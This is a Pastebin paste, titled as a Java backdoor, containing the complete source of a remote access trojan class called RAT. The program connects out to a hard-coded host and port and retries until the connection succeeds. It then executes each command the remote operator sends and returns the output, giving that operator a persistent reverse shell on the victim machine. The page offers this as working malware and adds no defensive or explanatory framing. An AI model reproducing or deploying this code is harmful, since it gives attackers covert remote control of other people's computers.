SHARE
TWEET

Java based backdoor by Mendax v2

a guest Jan 6th, 2016 2,663 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. import java.io.BufferedReader;
  2. import java.io.IOException;
  3. import java.io.InputStreamReader;
  4. import java.io.PrintWriter;
  5. import java.net.InetAddress;
  6. import java.net.Socket;
  7. import java.util.Scanner;
  8.  
  9. public class RAT
  10. {
  11.     private static Socket s;
  12.     private static Scanner sc;
  13.     private static PrintWriter pr;
  14.     private static int length;
  15.     private static ProcessBuilder   ps;
  16.     private static BufferedReader in;
  17.     private static String line;
  18.     private static String stdout;
  19.     private static String execute(String received) throws IOException, InterruptedException
  20.     {
  21.         String spli[] = received.split(" ");
  22.         length = spli.length;
  23.         if(length==1)
  24.         {
  25.             try
  26.             {
  27.                 ps=new ProcessBuilder(spli[0]);
  28.                 ps.redirectErrorStream(true);
  29.    
  30.                 Process pr = ps.start();  
  31.    
  32.                 in = new BufferedReader(new InputStreamReader(pr.getInputStream()));
  33.                 line = "";
  34.                 stdout = "";
  35.                 while ((line = in.readLine()) != null) {
  36.                     stdout = stdout + line;
  37.                 }
  38.                 stdout = stdout.toString();
  39.                 pr.waitFor();
  40.    
  41.                 in.close();
  42.                 return stdout;
  43.             }
  44.             catch(Exception errr)
  45.             {
  46.                 return errr.toString();
  47.             }
  48.         }
  49.         else if(length==2)
  50.         {
  51.             try
  52.             {
  53.                 ps=new ProcessBuilder(spli[0],spli[1]);
  54.                 ps.redirectErrorStream(true);
  55.    
  56.                 Process pr = ps.start();  
  57.    
  58.                 in = new BufferedReader(new InputStreamReader(pr.getInputStream()));
  59.                 line = "";
  60.                 stdout = "";
  61.                 while ((line = in.readLine()) != null) {
  62.                     stdout = stdout + line;
  63.                 }
  64.                 stdout = stdout.toString();
  65.                 pr.waitFor();
  66.    
  67.                 in.close();
  68.                 return stdout;
  69.             }
  70.             catch(Exception errr)
  71.             {
  72.                 return errr.toString();
  73.             }
  74.         }
  75.         else if(length==3)
  76.         {
  77.             try
  78.             {
  79.                 ps=new ProcessBuilder(spli[0],spli[1],spli[2]);
  80.                 ps.redirectErrorStream(true);
  81.    
  82.                 Process pr = ps.start();  
  83.    
  84.                 in = new BufferedReader(new InputStreamReader(pr.getInputStream()));
  85.                 line = "";
  86.                 stdout = "";
  87.                 while ((line = in.readLine()) != null) {
  88.                     stdout = stdout + line;
  89.                 }
  90.                 stdout = stdout.toString();
  91.                 pr.waitFor();
  92.  
  93.    
  94.                 in.close();
  95.                 return stdout;
  96.             }
  97.             catch(Exception errr)
  98.             {
  99.                 return errr.toString();
  100.             }
  101.         }
  102.         else if(length==4)
  103.         {
  104.             try
  105.             {
  106.                 ps=new ProcessBuilder(spli[0],spli[1],spli[2],spli[3]);
  107.                 ps.redirectErrorStream(true);
  108.    
  109.                 Process pr = ps.start();  
  110.    
  111.                 in = new BufferedReader(new InputStreamReader(pr.getInputStream()));
  112.                 line = "";
  113.                 stdout = "";
  114.                 while ((line = in.readLine()) != null) {
  115.                     stdout = stdout + line;
  116.                 }
  117.                 stdout = stdout.toString();
  118.                 pr.waitFor();
  119.  
  120.    
  121.                 in.close();
  122.                 return stdout;
  123.             }
  124.             catch(Exception errr)
  125.             {
  126.                 return errr.toString();
  127.             }
  128.         }
  129.         else if(length==5)
  130.         {
  131.             try
  132.             {
  133.                 ps=new ProcessBuilder(spli[0],spli[1],spli[2],spli[3],spli[4]);
  134.                 ps.redirectErrorStream(true);
  135.    
  136.                 Process pr = ps.start();  
  137.    
  138.                 in = new BufferedReader(new InputStreamReader(pr.getInputStream()));
  139.                 line = "";
  140.                 stdout = "";
  141.                 while ((line = in.readLine()) != null) {
  142.                     stdout = stdout + line;
  143.                 }
  144.                 stdout = stdout.toString();
  145.                 pr.waitFor();
  146.  
  147.    
  148.                 in.close();
  149.                 return stdout;
  150.             }
  151.             catch(Exception errr)
  152.             {
  153.                 return errr.toString();
  154.             }
  155.         }
  156.         else if(length==6)
  157.         {
  158.             try
  159.             {
  160.                 ps=new ProcessBuilder(spli[0],spli[1],spli[2],spli[3],spli[4],spli[5]);
  161.                 ps.redirectErrorStream(true);
  162.    
  163.                 Process pr = ps.start();  
  164.    
  165.                 in = new BufferedReader(new InputStreamReader(pr.getInputStream()));
  166.                 line = "";
  167.                 stdout = "";
  168.                 while ((line = in.readLine()) != null) {
  169.                     stdout = stdout + line;
  170.                 }
  171.                 stdout = stdout.toString();
  172.                 pr.waitFor();
  173.  
  174.    
  175.                 in.close();
  176.                 return stdout;
  177.             }
  178.             catch(Exception errr)
  179.             {
  180.                 return errr.toString();
  181.             }
  182.         }
  183.         else
  184.         {
  185.             return "Too many arguements";
  186.         }
  187.     }
  188.     private static String resolve(String host)
  189.     {
  190.         InetAddress ip;
  191.         while(true)
  192.         {
  193.             try
  194.             {
  195.                 ip = InetAddress.getByName(host);
  196.                 host = ip.getHostAddress().toString();
  197.                 return host;
  198.             }
  199.             catch(Exception err)
  200.             {
  201.                 continue;
  202.             }
  203.         }
  204.     }
  205.     private static int connect(String ip,int port)
  206.  
  207.     {
  208.         try
  209.         {
  210.             s = new Socket(ip,port);
  211.             return 1;
  212.         }
  213.         catch(Exception err)
  214.         {
  215.             return 0;
  216.         }
  217.            
  218.     }
  219.     public static void main(String[] args) throws IOException
  220.     {
  221.         String host = "localhost";
  222.         int port = 123;
  223.         String ip;
  224.         ip = resolve(host);
  225.         int stat;
  226.         do
  227.         {
  228.             stat=connect(ip,port);
  229.         }while(stat!=1);
  230.         System.gc();
  231.         pr = new PrintWriter(s.getOutputStream(),true);
  232.         sc = new Scanner(s.getInputStream());
  233.         sc.useDelimiter("\0");
  234.         String received;
  235.         String stdout;
  236.         while(true)
  237.         {  
  238.             try
  239.             {
  240.                 received = sc.next();
  241.                 received = received.trim();
  242.                 received = received.replace("\0", "");
  243.                 if(received.contains("quit")==true)
  244.                 {
  245.                     pr.println("quit");
  246.                     sc.close();
  247.                     s.close();
  248.                     System.exit(0);
  249.                 }
  250.                 else
  251.                 {
  252.                     stdout = execute(received);
  253.                     pr.print(stdout + "\0");
  254.                     pr.flush();
  255.                 }
  256.             }
  257.             catch(Exception err)
  258.             {
  259.                 System.gc();
  260.                 do
  261.                 {
  262.                     stat=connect(ip,port);
  263.                 }while(stat!=1);
  264.                 pr = new PrintWriter(s.getOutputStream(),true);
  265.                 sc = new Scanner(s.getInputStream());
  266.                 sc.useDelimiter("\0");
  267.             }
  268.         }
  269.     }
  270. }
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top